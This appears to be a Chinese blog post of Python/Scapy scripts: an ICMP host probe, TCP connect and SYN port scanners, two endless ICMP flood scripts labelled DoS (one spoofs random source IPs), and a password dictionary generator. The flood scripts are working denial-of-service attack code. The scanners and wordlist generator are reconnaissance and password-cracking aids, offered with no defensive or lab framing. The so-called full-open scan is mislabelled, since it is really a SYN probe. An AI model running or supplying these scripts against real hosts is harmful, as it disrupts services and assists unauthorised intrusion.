ICMP扫描
from scapy.all import *
from random import randint
def main():
# 提示用户输入要扫描的目标 IP 地址
target_ip = input("请输入要扫描的目标 IP 地址: ")
print(f"正在扫描 IP 地址: {target_ip}")
ip_id = randint(1, 65535)
icmp_id = randint(1, 65535)
icmp_seq = randint(1, 65535)
# 构建IP层和ICMP层数据包
packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq) / b'rootkit'
# 使用sr1发送数据包并接收响应,timeout设置超时时间为1秒,verbose=False,关闭详细输出
result = sr1(packet, timeout=1, verbose=False)
if result:
# 如果收到响应,则表示目标IP存活
scan_ip = result.src
print(f"{scan_ip} is alive")
else:
# 如果没有收到响应,则表示目标IP可能不存活或网络不可达
print(f"{target_ip} is down")
if __name__ == '__main__':
main()
TCP全开放端口扫描
import socket
from scapy.all import *
from random import randint
import time
def is_alive(target_ip):
ip_id = randint(1, 65535)
icmp_id = randint(1, 65535)
icmp_seq = randint(1, 65535)
packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
result = sr1(packet, timeout=1, verbose=False)
return result is not None
def scan_port(target_ip, target_port):
sport = randint(1024, 65535)
packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
resp = sr1(packet, timeout=1, verbose=False)
if resp is None:
print(f"端口 {target_port} 未响应")
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x12:
send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="AR"), timeout=0.1, verbose=False)
print(f"端口 {target_port} 是开放的")
elif resp.getlayer(TCP).flags == 0x14:
print(f"端口 {target_port} 是关闭的")
else:
print(f"端口 {target_port} 响应异常")
def main():
target_ip = input("请输入要扫描的目标 IP 地址: ")
if is_alive(target_ip):
print(f"{target_ip} is alive, starting port scan...")
try:
target_port = int(input("请输入要扫描的目标端口号: "))
if 1 <= target_port <= 65535:
scan_port(target_ip, target_port)
else:
print("端口号必须在 1 到 65535 之间")
except ValueError:
print("输入的端口号无效,请输入一个整数")
else:
print(f"{target_ip} is down, cannot perform port scan.")
if __name__ == '__main__':
main()
TCP半开放端口扫描
import socket
from scapy.all import *
from random import randint
import time
def is_alive(target_ip):
ip_id = randint(1, 65535)
icmp_id = randint(1, 65535)
icmp_seq = randint(1, 65535)
packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
result = sr1(packet, timeout=1, verbose=False)
return result is not None
def scan_port_syn(target_ip, target_port):
sport = randint(1024, 65535)
packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
resp = sr1(packet, timeout=1, verbose=False)
if resp is None:
print(f"端口 {target_port} 无响应")
elif resp.haslayer(TCP):
if resp.getlayer(TCP).flags == 0x12:
send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="R"), timeout=0.1, verbose=False)
print(f"端口 {target_port} 是开放的")
elif resp.getlayer(TCP).flags == 0x14:
print(f"端口 {target_port} 是关闭的")
else:
print(f"端口 {target_port} 响应异常")
def main():
target_ip = input("请输入要扫描的目标 IP 地址: ")
if is_alive(target_ip):
print(f"{target_ip} is alive, starting SYN port scan...")
try:
target_port = int(input("请输入要扫描的目标端口号: "))
if 1 <= target_port <= 65535:
scan_port_syn(target_ip, target_port)
else:
print("端口号必须在 1 到 65535 之间")
except ValueError:
print("输入的端口号无效,请输入一个整数")
else:
print(f"{target_ip} is down, cannot perform port scan.")
if __name__ == '__main__':
main()
三层DOS扫描
import socket
from scapy.all import *
from random import randint
import time
def main():
target_ip = input("请输入要进行三层DoS的目标IP地址: ")
print(f"正在向 {target_ip} 发送ICMP包,源IP将随机生成...")
while True:
# 构造IP数据包
ip_layer = IP(src=RandIP(), dst=target_ip)
# 构造ICMP数据包
icmp_layer = ICMP()
# 将IP层和ICMP层组合成一个完整的数据包
packet = ip_layer / icmp_layer
send(packet, verbose=False)
time.sleep(0.01)
print(f"已发送一个ICMP包到 {target_ip},源 IP:{packet.src}")
if __name__ == '__main__':
main()
二层DOS扫描
from scapy.all import *
from random import randint
import time
def main():
target_ip = input("请输入要进行DoS的目标IP地址: ")
print(f"正在向 {target_ip} 发送ICMP包...")
while True:
# 构造IP数据包
ip_layer = IP(dst=target_ip)
# 构造ICMP数据包
icmp_layer = ICMP()
# 将IP层和ICMP层组合成一个完整的数据包
packet = ip_layer / icmp_layer
# 发送数据包
send(packet, verbose=False)
time.sleep(0.1)
print(f"已发送一个ICMP包到 {target_ip}")
if __name__ == '__main__':
main()
字典生成器
import sys, random
import time
import itertools
def main():
print("欢迎使用简单字典生成器!")
# 获取用户输入的字符集
characters = input("请输入要用于生成密码的字符集: ")
if not characters:
print("字符集不能为空")
return
# 获取用户输入的密码长度
try:
password_length = int(input("请输入要生成的密码长度: "))
if password_length <= 0:
print("密码长度必须大于0")
return
except ValueError:
print("密码长度必须是整数")
return
output_filename = "dic.txt"
print(f"正在生成长度为{password_length}的密码,保存到 '{output_filename}'")
start_time = time.time()
passwords = open(output_filename, "w")
total_passwords = 0
# 生成指定长度的排列
temp = itertools.permutations(characters, password_length)
for i in temp:
password = "".join(i)
passwords.write(password + "\n")
total_passwords += 1
passwords.close()
end_time = time.time()
duration = end_time - start_time
print(f"字典生成完成,文件已保存为'{output_filename}'。")
if __name__ == '__main__':
main()
© 版权声明
文章版权归作者所有,转载请标明出处。
THE END
暂无评论内容